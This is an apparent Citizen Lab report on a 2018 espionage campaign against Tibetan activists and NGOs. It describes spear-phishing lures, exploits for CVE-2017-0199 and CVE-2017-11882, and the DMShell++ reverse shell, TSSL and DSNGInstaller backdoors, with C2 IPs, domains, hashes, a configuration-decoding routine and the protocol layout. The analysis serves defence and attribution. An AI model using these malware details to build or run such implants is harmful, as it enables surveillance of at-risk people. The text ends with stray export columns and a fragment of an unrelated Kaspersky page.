campaigns are also connected to a wider operation called \xe2\x80\x9cTropic Trooper\xe2\x80\x9d that has been active since at least 2012 and was first reported by Trend Micro in 2015. Tropic Trooper has targeted governments and companies in Taiwan and the Philippines and is usually identified through the use of specific malware including Yahaoyah, Yahamam, and TSSL. The Resurfaced Campaign is linked to Tropic Trooper through its use of TSSL. The Parliamentary Campaign is linked through code similarities between Keyboy and Yahaoyah. Trend Micro noted Yahoyah shared the same algorithm for encoding configuration files as versions of KeyBoy found in 2013. If the same threat actor is behind the Resurfaced and Parliamentary Campaigns, the operators appear to have engaged in limited and incremental changes to their tools. Nevertheless, these improvements are minor, and are unlikely to represent significant costs. The exploit code and PowerShell code used in the campaign were publicly available. Proofs of concept of the exploits exist on Github, and DMShell++ (the PowerShell payload) is based on example code posted online. Closed Espionage Ecosystems: An analytical challenge These types of campaigns use custom built malware that originate from a closed espionage ecosystem in which the parties involved (e.g., developers who write the malware, operators who conduct the campaigns, and intelligence customers who incentivize the activity) are difficult to identify and fully segment. Intelligence customers may be actively managing the development of tools and selection of targets or may be passive consumers who the operators know are interested in and will pay for information from certain targets. The cost and effort put into closed espionage ecosystems is harder to quantify than commoditized malware kits (such as cybercrime tools repurposed for espionage) or government exclusive malware (such as products from NSO Group) which have defined prices and markets. \xe2\x80\x9cActors\xe2\x80\x9d in closed espionage ecosystems are abstractions typically identified by the use of common tools and infrastructure. This level of attribution can help cluster incidents together into recognizable patterns and indicators. However, many burglars can, at different times, use the same crowbar. For example, seemingly disparate campaigns and threat actors may be linked through what FireEye describes as a \xe2\x80\x9cdigital quartermaster\xe2\x80\x9d, which refers to a resource of malware development and infrastructure that is shared amongst multiple campaigns and groups. Knowing what tools and tactics are leveraged in malware campaigns can provide insight into technical capabilities and allow an analyst to track activities over time, but this knowledge alone does not explain how information collected by the operators is ultimately used by the intelligence customer nor the types of harm that can follow for civil society. This report is organized into the following sections: Part 1: Resurfaced Campaign describes the Resurfaced Campaign that targeted Tibetan groups between January and March 2018. Part 2: Investigating a Compromise describes a compromise of a Tibetan NGO and analyzes operator actions post-infection. Part 3: Familiar Connections highlights connections between the Parliamentary and Resurfaced Campaigns to an operation called \xe2\x80\x9cTropic Trooper\xe2\x80\x9d. Part 4: Closed Espionage Ecosystems and Identifying Harm discusses challenges in analyzing closed espionage ecosystems and situates our investigation within wider trends of digital espionage operations against the Tibetan diaspora. Part 1: Resurfaced Campaign This section describes the Resurfaced Campaign that targeted Tibetan groups between January and March 2018. Campaign Overview We observed the Resurfaced Campaign from January 16 to March 2, 2018 and collected seven spear phishing emails sent to Tibetan activists, journalists, members of the Tibetan Parliament in exile, and the Central Tibetan Administration (CTA). The messages were sent from email addresses that mimicked staff of Tibetan NGOs or the CTA, and shared content on advocacy activities, cultural events, and administrative announcements. We verified that some of this information was publicly available on social media, whereas other information may have been collected from public correspondence or private messages that could have been previously stolen by the operators. A January 22 spear phishing email was sent from tibetanparliarnent[@]yahoo.com, which was also used to send multiple spear phishing emails in the Parliamentary Campaign (see Figure 1). Figure 1: Spear phishing email sent on January 22 2018 that reuses an email address that was used in the 2016 Parliamentary Campaign. While both the Parliamentary Campaign and the Resurfaced Campaign used similar social engineering tactics and a common email address to send spear phishing messages, the Resurfaced campaign used a different, newer malware toolkit. In six of the eight intrusion attempts, the operator sent a Microsoft PowerPoint file exploiting a vulnerability disclosed in 2017 (CVE-2017-0199) designed to drop a payload written in Microsoft\xe2\x80\x99s PowerShell scripting language from a remote server. In two early intrusions attempts in January 2018, the operator also used an exploit for RTF documents (CVE-2017-11882). Figure 2 provides a timeline of the Resurfaced Campaign highlighting when spear phishing emails were sent and the exploits that were used. Figure 2: Timeline of spear phishing emails sent in the Resurfaced Campaign. Infection Chain: CVE-2017-0199 and DMShell++ The most common infection chain in the campaign was the use of a PowerPoint Open XML Slide Show file (PPSX) exploiting CVE-2017-0199 to load a remote payload we call DMShell++, a basic TCP reverse shell written in Microsoft\xe2\x80\x99s PowerShell scripting language. We observed a very similar, albeit more simple, implementation of DMShell++ on a public posting on Wooyun (a Chinese hacker forum1) by an author with the username \xe2\x80\x9cDM_\xe2\x80\x9d. We refer to the version discovered in our investigation as \xe2\x80\x9cDMShell++\xe2\x80\x9d in reference to the Wooyun username combined with the fact that the Wooyun version has been incrementally updated with additional basic commands. We observed versions of DMShell++ hosted on the domains enumerated in Table 1. However, we did not monitor these domains continuously and therefore it is possible that the operator may have used additional configurations not listed in the table. Date Observed Source C2 Configuration January 18, 2018 commail[.]co:5453/qqqzqa 27.126.186.222:6001 27.126.186.222:6002 27.126.186.222:6003 January 22, 2018 tibetnews[.]info:8026/qqqzqa 103.55.24.196:80 103.55.24.196:443 45.127.97.222:443 February 2, 2018 commail[.]co:5453/qqqzqa 27.126.186.222:80 27.126.186.222:443 27.126.186.222:8080 March 6, 2018 comemails[.]email:1234/hgf 203.189.232.207:80 203.189.232.207:443 103.55.24.196:443 Table 1: List of C2 configurations observed in different DMShell++ samples The versions of DMShell++ we observed had the same capabilities but different configurations for command and control. Table 2 provides an overview of capabilities of DMShell++ and how it could be used by an operator (technical details are included in Appendix A). This basic script gives the remote actor vast control over the victim computer. Initially deploying generic payloads hides true capabilities and intentions from defenders should the attempted intrusion be detected at this stage. Capability Purpose to the Operator Collect system information Internal IP address Operating system (OS) version User name Collecting system information helps the operator assess if they have the correct target and learn about potential weaknesses in the computer\xe2\x80\x99s OS. Execute remote commands Executing remote commands provides additional reconnaissance information that can help the operator determine their next steps. Send additional files The ability to send additional files means the operator can download additional tools with different capabilities. Extract data Stealing files from the target machine is likely the operator\xe2\x80\x99s ultimate goal. Table 2: Overview of DMShell++ capabilities Infection Chain: CVE-2017-11882 and DMShell++ In two spear phishing emails sent early in the campaign, the operator used a second exploit document in addition to the PPSX files described previously to deploy DMShell++. It is unclear why the operator used this secondary method. However, given the amount of time between patches being released for both vulnerabilities, as well as the different methods being used to execute the PowerShell payload, it is possible the operator wanted to maximize success while testing both exploitation methods. The second document was a RTF document designed to exploit CVE-2017-11882. In this case, instead of loading the PowerShell script from a remote location, this exploit document followed a more traditional infection chain by attempting to write an executable (EXE) program to the target computer. The EXE program was designed to create a small PowerShell script on the target computer to decode and execute an encoded version of DMShell++. This version of DMShell++ was configured to use the same C2 infrastructure as the remote version downloaded by the PPSX file sent in the same spear phishing email (27.126.186[.]222 on ports 6001, 6002, and 6003; Appendix D provides a detailed overview of the server infrastructure). Figure 3 shows an overview of the CVE 2017-11822 and DMShell++ infection chain. Figure 3: CVE-2017-11882 and DMShell++ Infection Chain. Infection Chain: CVE-2017-11882 and TSSL Suite In the spear phishing email sent on January 23 2018, the operator also included a RTF document designed to exploit CVE-2017-11882 and execute a payload embedded in the file. However, in this instance, the operator deployed an entirely different set of tools. As we analyzed the files written to disk as part of this infection chain, we observed multiple program database (PDB) strings. When available, PDB strings can be indicative of the malware creator\xe2\x80\x99s environment and namings for the developed malware. D:\\Work\\Project\\VS\\house\\Apple\\Apple_20180115\\Release\\InstallClient.pdb D:\\Work\\Project\\VS\\house\\Apple\\Apple_20180115\\Release\\FakeRun.pdb These PDB strings are consistent with a set of tools known as TSSL, which were previously described by Trend Micro and PwC and linked to KeyBoy and Tropic Trooper campaigns. The TSSL suite analysed in these reports includes a loader called FakeRun and a backdoor named TClient. While the samples we analyzed have a few differences from previously reported instances (e.g., version numbers, storage of configuration data, method for launching payloads) we conclude that they are likely based on the same source code (see Appendix B for a detailed comparative analysis of the samples). Figure 4 shows an overview of the CVE 2017-11882 and TSSL suite infection chain. Figure 4: CVE-2017-11882 and TSSL Suite Infection Chain. Part 2: Investigating a Compromise This section describes a compromise of a Tibetan NGO and analyzes operator actions post-infection. The fourth spear phishing email of the campaign was sent on January 23, 2018 to a range of targets working for Tibetan NGOs, media groups, and the CTA. The message appeared to be sent from the Director of the Tibet Museum, which is an official museum of the CTA. Attached to the email were RTF and PPSX messages that claimed to present information about the National Museum of Tibet (see Figure 5). These files contained the CVE-2017-11882 and TSSL Suite infection chain. Figure 5: Spear phishing email sent to Tibetan activists. One NGO in particular was heavily targeted and had multiple staff members receive the email. A senior staff member of the group opened the attachment from a computer in their office and was compromised. Through incident response on the organization\xe2\x80\x99s network, we observed post-infection actions taken by the operator and identified the use of a second backdoor. Network logs show connections to the IP address 115.126.86[.]151 on ports 6001, 8080, and 8100 matching the configuration file of the TSSL implant. This backdoor was configured to communicate with the C2 server every 20 minutes, but we quickly noticed during the analysis of networks logs that most connections were actually rejected by the C2 server. Based on these patterns, it appears the C2 server was disabled most of the day and active only for short windows. The TClient sample was used until January 29 when a new backdoor was deployed on the infected system communicating with a new C2 server listed in Table 3. We call the new backdoor \xe2\x80\x9cDSNGInstaller\xe2\x80\x9d, a name stemming from the payload\xe2\x80\x99s internal name combined with the irony that DSNG is an accepted acronym for Digital Satellite News Gathering. Both backdoors were active until February 8 when the TClient sample was removed. Sample MD5 Domain IP DSNGInstaller 67e866c461c285853b225d2b2c850c4f tibetfrum[.]info 27.126.176.169 Table 3: C2 configuration for the DSNGInstaller backdoor Table 4 provides an overview of DSNGInstaller\xe2\x80\x99s capabilities (technical details are included in Appendix C). These features are similar to those provided by TClient. Capability Purpose to the Operator System Reconnaissance List all volumes and drives List running processes List files Additional reconnaissance information helps the operator determine their next action. File System Access Create a file or directory Delete a file or directory Interacting with the file system allows the operator to use new tools and hide evidence of their actions. System Control Run a process with output Run a process without output Stop currently running processes Running processes allows the operator to run their tools while stopping processes allows the operator to shutdown programs that may detect their actions. Data exfiltration Upload a file to the C2 server Stealing files from the target machine is the ultimate goal of the operator. Table 4: Capabilities of the DSNGInstaller backdoor While it is unclear why the operator switched malware after multiple days of undetected success, we consider potential scenarios. It is possible the TSSL malware was detected by other targets where we do not have visibility, which caused the operator to shift to a lesser known tool with a lower detection rate. Another possible scenario is that the operator\xe2\x80\x99s interface to the DSNGInstaller tool is more robust and thus preferable for expected long-term access. Finally, it is possible that DSNGIntaller is the tool of choice of another operator. This last scenario would represent a potential handoff of a surveillance victim between multiple remote operators. Part 3: Familiar Connections This section highlights connections between the Parliamentary and Resurfaced campaigns to an operation called \xe2\x80\x9cTropic Trooper.\xe2\x80\x9d Campaign Connections The tactics, techniques, and procedures used in the Resurfaced Campaign link it to the Parliamentary Campaign and to an operation called \xe2\x80\x9cTropic Trooper\xe2\x80\x9d. Trend Micro released the first public report on Tropic Trooper in 2015, describing a malware campaign that targeted government institutions, military agencies, and companies in Taiwan and the Philippines. The campaign exploited old vulnerabilities (CVE-2010-3333 and CVE-2012-0158) and used custom malware, which Trend Micro detects as TROJ_YAHOYAH and BKDR_YAHAMAM. Trend Micro noted that the Yahoyah malware used the same algorithm for encoding configuration files as the 2013 versions of KeyBoy analyzed by Rapid7, suggesting a link between these campaigns or at least the developers of the malware. The KeyBoy samples that were used in the 2016 Parliamentary Campaign\xc2 had a significant change in the encoding of the configuration file compared to the samples described by Rapid7. In the 2013 version, the configuration file was encoded using a simplified static-key based algorithm. The newer encoding algorithm removed the use of a static encryption key in favour of a dynamically constructed lookup table. The main connection between the Resurfaced Campaign and the Parliamentary Campaign is the reuse of a Yahoo email address (Tibetanparliarnent[@]yahoo.com) to send spear phishing emails to targets in the Tibetan community. Most recently, in 2018 Trend Micro published an update on Tropic Trooper noting a new infection chain that included different exploits (CVE-2017-11882, CVE-2018-0802) and the TSSL tool suite. Amongst the C2 servers observed was a domain (tibetnews[.]today), which shares registrant information with the domains used in the Resurfaced campaign. Figure 6 provides an overview of the connections between these campaigns. Figure 6: Connections between Resurfaced, Parliamentary, and Tropic Trooper campaigns. Evaluating Connections The relationships between campaigns is typically drawn through the use of common technical indicators (e.g., malware, server infrastructure, etc). In some cases, these links are used to connect multiple campaigns to a \xe2\x80\x9cthreat actor\xe2\x80\x9d or \xe2\x80\x9cgroup\xe2\x80\x9d which is thought to be carrying out the campaigns. These links can have varying levels of strength, which can lead to different levels of confidence in attributing campaigns to a specific actor (see Table 5). Connection Type Description First-order connections Shared tools and infrastructure that are directly observed being used against targets. These connections typically form the core indicators or \xe2\x80\x9cproblem set\xe2\x80\x9d of a campaign. Second-order connections Related samples of tools believed to be unique or C2 infrastructure overlaps where neither the tools or infrastructure were directly observed in use. Nth-order connections Unique characteristics of tools and infrastructure such as code reuse, development techniques, or naming conventions. Table 5: Overview of connection types and level of confidence. First-order connections typically require direct observation of malicious activity against a target and as a result may not be made public (for example, if a security company obtains the data from a customer). By contrast, second and Nth-order connections can usually be normalized between researchers and used to make connections between campaigns. For example, Kaspersky labelled a reportedly China-based threat group as Winnti after a tool they used. Over time, different campaigns and tools were grouped under the same name, for instance, Microsoft associated Winnti with multiple groups they name \xe2\x80\x9cBARIUM\xe2\x80\x9d and \xe2\x80\x9cLEAD\xe2\x80\x9d. While these differences in groupings stem from differing first-order connections, enough second and Nth-order connections have been identified to reference the collection of indicators as an umbrella of \xe2\x80\x9cWinnti\xe2\x80\x9d activities, which ProtectWise recently did in a report. In these cases, indicators are available, but the strength of the connections may not be readily apparent and can lead to very wide groupings and abstractions. For Tropic Trooper, multiple security companies have released information that they claim link campaigns to the threat actor. The strength of the evidence behind these claims is not always clear but the majority appear to be second and/or Nth-order connections. Table 6 and Figure 7 detail the connections made in these reports. Report Description Tropic Trooper Connection Connection Type Palo Alto (2016) Campaign using Yahoyah, PcShare, and Poison Ivy targeting Taiwanese government and fossil fuel provider Use of Yahoyah malware Overlapping C2 infrastructure Second-order, possibly first-order Lookout (2017) Description of Android malware called Titan Overlapping C2 infrastructure Second-order Trend Micro (2018) Campaign using TSSL toolkit targeting government and industry in Taiwan, Philippines, and Hong Kong. TSSL toolkit Unknown* Table 6: Overview of reports connecting malware campaigns to Tropic Trooper\xc2 \xc2 *Note: This report is the first time TSSL toolkit is linked to Tropic Trooper. Trend Micro does not explain how they made the connection. Figure 7: Connections between reports linking campaigns and malware to Tropic Trooper. Part 4: Challenges of Analyzing Closed Ecosystems This section discusses challenges in investigating closed espionage ecosystems and situates our investigation within wider trends of digital espionage operations against the Tibetan diaspora. The Resurfaced Campaign used a mix of new and previously-observed tools, which share technical characteristics with campaigns previously attributed to Tropic Trooper. However, these links alone do not allow us to conclusively state that the campaigns are run by the same actor. This ambiguity illustrates some of the analytical challenges posed when analyzing connections between campaigns and theorizing about the roles of different actors in closed espionage ecosystems. Researchers need to use naming schemes and actor grouping to characterize digital espionage operations out of necessity. While names are critical, the process by which they are selected, as Florian Roth and others have pointed out, can lead to to multiple names for the same group and potential confusion over what a name refers to. Differentiating between campaigns and the \xe2\x80\x9cthreat actor\xe2\x80\x9d behind Tropic Trooper shows some of these challenges. Reports on Tropic Trooper have characterized it in varied and sometimes ambiguous ways (see Table 7). This variation points to some of the challenges inherent in consistently using naming: do names refer to campaigns of malware activity, the \xe2\x80\x9cthreat actors\xe2\x80\x9d behind them, or a common tool set? It is not always clear. Report Description Trend Micro (2015) \xe2\x80\x9c\xe2\x80\x98\xe2\x80\xa6Operation Tropic Trooper,\xe2\x80\x99 an ongoing campaign\xe2\x80\xa6\xe2\x80\x9d Palo Alto (2016) \xe2\x80\x9c\xe2\x80\xa6a campaign called Tropic Trooper,\xe2\x80\xa6\xe2\x80\x9d Lookout (2017) \xe2\x80\x9c\xe2\x80\xa6linked to the same actors behind Operation Tropic Trooper. Tropic Trooper is a long running campaign\xe2\x80\xa6\xe2\x80\x9d Trend Micro (2018) \xe2\x80\x9cTropic Trooper (also known as KeyBoy) levels its campaigns against \xe2\x80\xa6 targets\xe2\x80\x9d Table 7: Descriptions of Tropic Trooper in previous reports. Part of the complexity of naming stems from the multiple operational roles likely to be present in a major campaign. These roles may include malware developers, campaign operators, and intelligence taskers and consumers. The relationships between these roles may be simple or multi-layered. For example, a developer may double as an operator for a small task for a customer. Malware developers may share tools with multiple operators acting independently from each other. Customers may be active (i.e., directly involved in tasking operators) or passive (i.e., consuming information brought to them by the operators or brokers representing the operators). Unfortunately, in the case of the Resurfaced Campaign, we lack the visibility into the organizational roles that would help us move from what we have observed to a more conclusive statement about its relationship to Tropic Trooper. Meanwhile, an operator may use the same tools to work on multiple tasks for multiple consumers. These complexities can create challenges when tools and infrastructure are the primary means for identifying and linking campaign activities. Reviewing the timeline of malware and infrastructure development in the Resurfaced Campaign illustrates these challenges. Figure 8 shows that while the infrastructure was setup months before the first spear phishing messages were sent, the malware builds were all done shortly before the campaign started. The time difference between infrastructure setup and malware build combined with the fact that our identified connections to Tropic Trooper are only code-based suggest that the malware may be a resource that is shared between groups. Figure 8: Resurfaced Campaign Malware and Infrastructure Development Timeline. The connections between the Resurfaced and Parliamentary Campaigns to Tropic Trooper highlight the difficulties of characterizing threat groups and how they interact with other players in a closed espionage ecosystem. While the campaigns are linked by shared tools and infrastructure (Nth-order connections), based on this information alone we cannot conclusively say that these activities are being conducted by a single group. Campaigns labelled as Tropic Trooper also have targeted a range of government, industry, and civil society targets, which may indicate multiple intelligence consumers. A View into Closed Espionage Ecosystems Although the relationship between developers, operators, and the final intelligence consumer is often unclear, recent indictments issued by the United States Department of Justice (DOJ) against espionage groups based in China provide a glimpse into how these groups interact. In 2014, the DOJ charged five officers of the People\xe2\x80\x99s Liberation Army with economic espionage offences. These officers are allegedly part of a threat group known as APT1, which Mandiant first identified as part of the 2nd Bureau of the People\xe2\x80\x99s Liberation Army General Staff Department\xe2\x80\x99s 3rd Department. APT1 targeted numerous government and Fortune 500 companies, but was also found by Citizen Lab to have targeted Tibetan activists and a large international NGO. According to the indictment, the intelligence consumers that APT1 serviced included the Chinese government and Chinese firms seeking intellectual property and information on competitors. In another 2014 case, the DOJ charged a Chinese national named Su Bin with participating in a long term conspiracy to compromise major U.S. defense contractors and sell stolen information on technology projects to entities in China. Su Bin worked with two unnamed conspirators who carried out the the intrusions. The indictment identified the conspirators as being located in China and related to \xe2\x80\x9cmultiple organizations and entities in the PRC\xe2\x80\x9d. The conspirators received 2.2 million RMB (approximately $332,040 USD) to build up their operation, but the total cost of the activity was 6.8 million RMB (approximately $995,400 USD). The conspirators shared a report with each other that detailed targets, objectives, and successes of an intrusion operation against one of their targets. The report included a description of \xe2\x80\x9cpast achievements\xe2\x80\x9d including stealing files from the \xe2\x80\x9cdemocracy movement\xe2\x80\x9d (a reference to democracy activists in Hong Kong) and the \xe2\x80\x9cTibetan independence movement\xe2\x80\x9d. These cases offer rare glimpses into the interactions between developers, operators, and intelligence consumers showing that the same million-dollar programs funded to conduct economic espionage operations may also incentivize the targeting of civil society organizations. While the first type of operation may result in loss of intellectual property and financial loss, the second might result in direct harm to targeted individuals or their families. Addressing the analytical challenges Security researchers typically do not have the level of evidence and visibility cited in the DOJ indictments and have to rely on available technical indicators to track groups and hypothesize their motivations and role within closed espionage ecosystems. A possible area for future work is using formal methods (i.e., mathematical techniques developed in computer science to describe properties of hardware and software systems) to connect technical indicators and link campaigns. Such techniques may provide a more systematic way to link groups together and alleviate ambiguity. However, as we have discussed, identification of operators and malware developers is only one piece of the puzzle. Gaining an understanding of the ultimate harm of digital espionage requires interacting with targeted communities. Showing Harm: Perspectives from Civil Society Digital espionage has become a commonplace threat for the Tibetan diaspora. Digital security awareness and best practices for defense are now necessities for the community. Based on this experience, for Tibetans the harm of espionage operations is clear. Lobsang Gyatso Sither, a Tibetan digital security trainer, provides a perspective: \xe2\x80\x9cIt\xe2\x80\x99s important for the community to get away from the mindset of \xe2\x80\x9cI have nothing to hide\xe2\x80\x9d and think about the connections between us and how these can lead to harm. Tibetans in Exile are connected to each other through various organizations and contacts. If you are compromised, you become the weakest link, and allow the spies to get information that can be used to target other Tibetans. Tibetans in Exile are also constantly in touch with Tibetans inside Tibet, where the harms can be severe \xe2\x80\x93 including arrest, detention, and imprisonment.\xe2\x80\x9d In recent years, we have seen operators shift tactics to basic credential phishing, making the Resurfaced Campaign notable for being the first instance of a malware campaign targeting the community we have seen since 2016. The campaign used familiar tactics of clever social engineering combined with custom malware. In response to the persistent threat of digital espionage, Tibetan groups have launched grassroots efforts to increase digital security education, but changing behaviour and building capacity requires time and patience. At least one organization was compromised by the Resurfaced Campaign, which shows that familiar tactics are still being used because they still work. However, rather than being dissuaded by these threats, Tibetans are continuing the hard and necessary work to empower their community and defend against digital espionage. Acknowledgements Authors listed in alphabetical order. Ron Deibert provided supervision and guidance to the project. Feature image photo credit: Lhakpa Kyizom Special thanks to Tibet Action Institute, the participating Tibetan organizations, Lobsang Gyatso Sither, Lhakpa Kyizom, Adam Hulcoop, Jakub Dalek, and TNG. Indicators of Compromise Indicators of compromise are available on GitHub in multiple formats. Appendix A: DMShell++ Loader We identified two similar loaders for DMShell++ : A PowerShell script created by a Microsoft JScript file in %TEMP%\\{541DB837-073A-45F0-8A5D-2650065D1252}.ps1 during the exploitation of CVE-2017-0199. This script decodes the base64 encoded DMShell++ script and executes it. A PowerShell script dropped by the binary 11e0f3e1c7d8855ed7f1dcfce4b7702a during the execution of CVE-2017-11882. This PowerShell script decodes the base64 encoded payload stored in %TEMP%\\pfine and executes the DMShell++ payload. Payload DMShell++ is a reverse TCP backdoor written in PowerShell. It uses PowerShell System.Net.Sockets to create three TCP streams, one to each C2 address hardcoded in a PowerShell object: When a TCP stream is started, it first calls the function SendLoginInfo, which sends information about the system to the C2 server, under the form TOKEN|*|IP ADDRESS|*|WINDOWS VERSION|*|USER NAME. For example, on a virtual machine we used for testing, the following packet was sent to the C2 server: Once this first packet is sent, the script enters into an endless loop waiting for commands from the C2 servers. The same delimiter |*| is again used and the script accepts four different commands: CMD: executes the shell command and returns the output< FILERECEIVE: send the file at the given path FILEHEAD: receive information from a file to be downloaded from the C2 server. Data is received under the format FILEHEAD|*|FILENAME|FILEEXTENSION|FILESIZE FILESEND: receive data stream from the file Appendix B: TSSL Code Differences During the course of our investigation, we identified malware that is similar to malware in the TSSL suite described by Trend Micro in their 2018 Tropic Trooper report. This appendix describes the code differences between these two versions for both the FakeRun loader and the TClient payload of the TSSL suite. Comparing the InstallClient malware samples we found and those described by Trend Micro show slight modifications. Both samples followed the same behavior path to install their payloads and setup persistence with the main difference being the installation of their configuration information. The TrendMicro sample installed its configuration as an encrypted file while our sample stored its configuration as an encrypted and base64 encoded string in a Windows registry key. In addition, the TrendMicro sample dropped its FakeRun sample with the sidebar.exe while our sample dropped the Windows wab32.exe binary to act as the loading program for its FakeRun sample. The FakeRun samples we compared performed the same series of actions to spawn the final payload with differences being made to adjust for the binary names, config locations, etc. Our TClient sample appeared to be an older, less feature-rich version of the TClient reported by Trend Micro. Both samples appeared to report what seemed to be a version number as part of their initial C2 communication. Trend Micro\xe2\x80\x99s sample reported a version number of 3.2.2.5 and our sample reported a version number of 0.1.4. Based on the similarities between the samples, we assess that the two campaigns use malware from the same codebase, possibly forked at some point in the past. Based on the compile times of each sample, we analysed it appears that our samples were compiled approximately two hours after those detailed by Trend Micro. The list of functionality common to both TClient samples includes: Get OS and user information Open a backdoor shell Run commands on an open backdoor shell Restart the machine Uninstall the malware List drives and devices Manipulate files and directories Upload/Download files from the C2 server Report the current configuration settings The Trend Micro TClient sample added the following functionality: Lookup the victim\xe2\x80\x99s IP address via myip.com[.]tw List/Kill running processes List installed programs Modify file timestamps Take screenshots Update the configuration settings Appendix C: DSNG Installer Loader DSNGInstaller was discovered on a compromised system as osun.dll. It maintained persistence via a CurrentVersion\\Run registry key. The install location folder also contained a file which had logs from a keylogger. The loader stores configuration information as encrypted data in the binary itself and the final payload as a resource in PPKK. The payload is encrypted with the blowfish cipher in ECB mode while the configuration is dropped and then decrypted by the payload. The loader also contains code to gain persistence via the creation of a Windows service: KCOM Server Security Guard, though this was not used in the sample we discovered. Payload The payload is a simple RAT that provides a limited number of capabilities to an operator. It can be started in one of two ways: either with or without provided configuration options. The sample we discovered was passed configuration options at start as arguments to one of its exported functions. This configuration information is passed to the RAT in an encrypted form using the following algorithm: n = 0 while n < data_len: i = data[n++] ^ 0x5 data[n - 1] = i if n >= data_len: break j = data[n++] ^ 0x27 data[n - 1] = j A portion of the decrypted configuration used in the sample we discovered can be seen in the figure below: Network Communication DSNGInstaller uses a simple network communication protocol when connecting to its C2 server, which consists of a short header followed by a payload encrypted with the same algorithm used to encrypt and decrypt the RAT\xe2\x80\x99s configuration. The header is defined as: Header { id: [u8; 16] uuid: [char, 16] ipv4: [char, 16] length: u32 command: u8 command_successful: u8 id: [char; 16] } The ""id\xe2\x80\x9d is defined in the passed configuration, \xe2\x80\x9cuuid\xe2\x80\x9d is a uuid generated using the Windows API function UuidCreateSequential, and \xe2\x80\x9cipv4\xe2\x80\x9d is the IPv4 address of the infected machine. \xe2\x80\x9clength\xe2\x80\x9d is the length in bytes of the full message sent to the C2 server. \xe2\x80\x9ccommand\xe2\x80\x9d and \xe2\x80\x9ccommand_successful\xe2\x80\x9d are only used when sending or replying to a command from the C2 server. They correspond to the number used to identify a command and a Boolean value reporting the success or failure of a given command. \xe2\x80\x9cid\xe2\x80\x9d is a character string that is ""693"" for our sample, which leads us to believe this may be a campaign or victim identifier but we do not know for certain what its exact use is. Following the header is the encrypted payload of the C2 communication. We also discovered code to proxy all of DSNGInstaller network communication over HTTP, with and without user credentials. However, this functionality did not appear to be used anywhere by the malware. It appears to be an artifact of additional development work that was either unused or incomplete when the malware was deployed. Appendix D: Server Infrastructure The server infrastructure that we observed in the campaign is listed in the table below: Samples Domains IPs CVE-2017-0199 commail[.]co tibetnews[.]info comemails[.]email 27.126.186.222 103.55.24.196 203.189.232.207 DMShell++ 27.126.186.222 103.55.24.196 45.127.97.222 203.189.232.207 103.55.24.196 DMShell++ backdoor 27.126.186.222 TSSL Backdoor tibetnews[.]today 115.126.86.151 The majority of these domains (with the exception of comemails[.]email) share the same whois registration information: Name: huang ning Email: bqfkdrmnhh0623[@]gmail.com Phone number: 8677687877 Further searches on this whois information revealed an additional three domains with the same registration information: Domain Registrar Creation Date tibethouse[.]info GoDaddy 2018-01-03 daynew[.]today GoDaddy 2017-12-27 daynews[.]today GoDaddy 2017-12-27 We found 12 SSL certificates that were created for these domains. Through a search of historical data available on Censys.io, we found that three of the certificates were deployed between August and December 2018: IP Hosting Provider Subdomain Certificate Dates 115.126.86.29 Forewin Telecom google.comemails[.]email 6A4690F454C91FDC559A223D43F0A77D40B59B2A September 2017 115.126.98.78 Forewin Telecom mail.google.commail[.]co E55CEA25ECC118FD798F84EB5395BE0678BDBC51 August and December 2017 118.99.59.214 Forewin Telecom google.comemail.email cdd2fd64a4996b7d901d4a899d660cc5ff118e73 August and September 2017 A mirror of the post is available on Github\xe2\x86\xa9 Media Mentions CyberScoop,\xc2 Boxun,\xc2 Security Boulevard,\xc2 Boan News,\xc2 Council on Foreign Relations X Tags: China, Espionage, KeyBoy, Malware, Tibet, Tropic Trooper Related: It\xe2\x80\x99s Parliamentary: KeyBoy and the targeting of the Tibetan Community \xe2\x80\x9c\xe5\x86 \xe5\xb9\x95\xe6\xb6\x88\xe6\x81\xaf\xe2\x80\x9d\xef\xbc\x9a\xe4\xb8\x80\xe8\xb5\xb7\xe9\x92\x88\xe5\xaf\xb9\xe4\xb8\xad\xe6\x96\x87\xe6\x96\xb0\xe9\x97\xbb\xe5\xaa\x92\xe4\xbd\x93\xe7\x9a\x84\xe5 \xa5\xe4\xbe\xb5\xe8\xa1\x8c\xe5\x8a\xa8 Share: Research Targeted Threats Free Expression Online Transparency and Accountability App Privacy and Controls Global Research Network Tools & Resources All Publications News In the Media Events Opportunities Newsletter Archives About About the Citizen Lab People Media Resources Teaching Donate Connect Newsletter Leave this field empty if you're human: Privacy Policy Unless otherwise noted this site and its contents are licensed under a Creative\xc2 Commons Attribution 2.5 Canada license.","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"The Dropping Elephant actor | Securelist Solutions for: Home Products Small Business 1-50 employees Medium Business 51-999 employees Enterprise 1000+ employees Kaspersky CompanyAccount Get In Touch Solutions Endpoint SecurityLearn More Hybrid Cloud SecurityLearn More Internet of Things & Embedded SecurityLearn More Threat Management and DefenseLearn More Industrial CybersecurityLearn More Fraud PreventionLearn More Industries National CybersecurityLearn More Industrial CybersecurityLearn More Finance Services CybersecurityLearn More Healthcare CybersecurityLearn More Transportation CybersecurityLearn More Retail CybersecurityLearn More Other Industries Telecom Cybersecurity View all Products KasperskyEndpoint SecurityLearn More KasperskyEndpoint Detection and ResponseLearn More KasperskyHybrid Cloud SecurityLearn More KasperskyAnti Targeted Attack PlatformLearn More KasperskyPrivate Security NetworkLearn More KasperskyEmbedded Systems SecurityLearn More Other Products Kaspersky Security for Mail Server Kaspersky DDoS Protection Kaspersky Mobile Security Kaspersky Security for Storage View All Services KasperskyCybersecurity ServicesLearn More KasperskySecurity AwarenessLearn More KasperskyPremium SupportLearn More KasperskyThreat IntelligenceLearn More KasperskyThreat HuntingLearn More KasperskyIncident ResponseLearn More Other Services Kaspersky Professional Services Kaspersky Security Assessment Kaspersky Security Training Kaspersky Advanced Cyber Incident Communications View All Resource 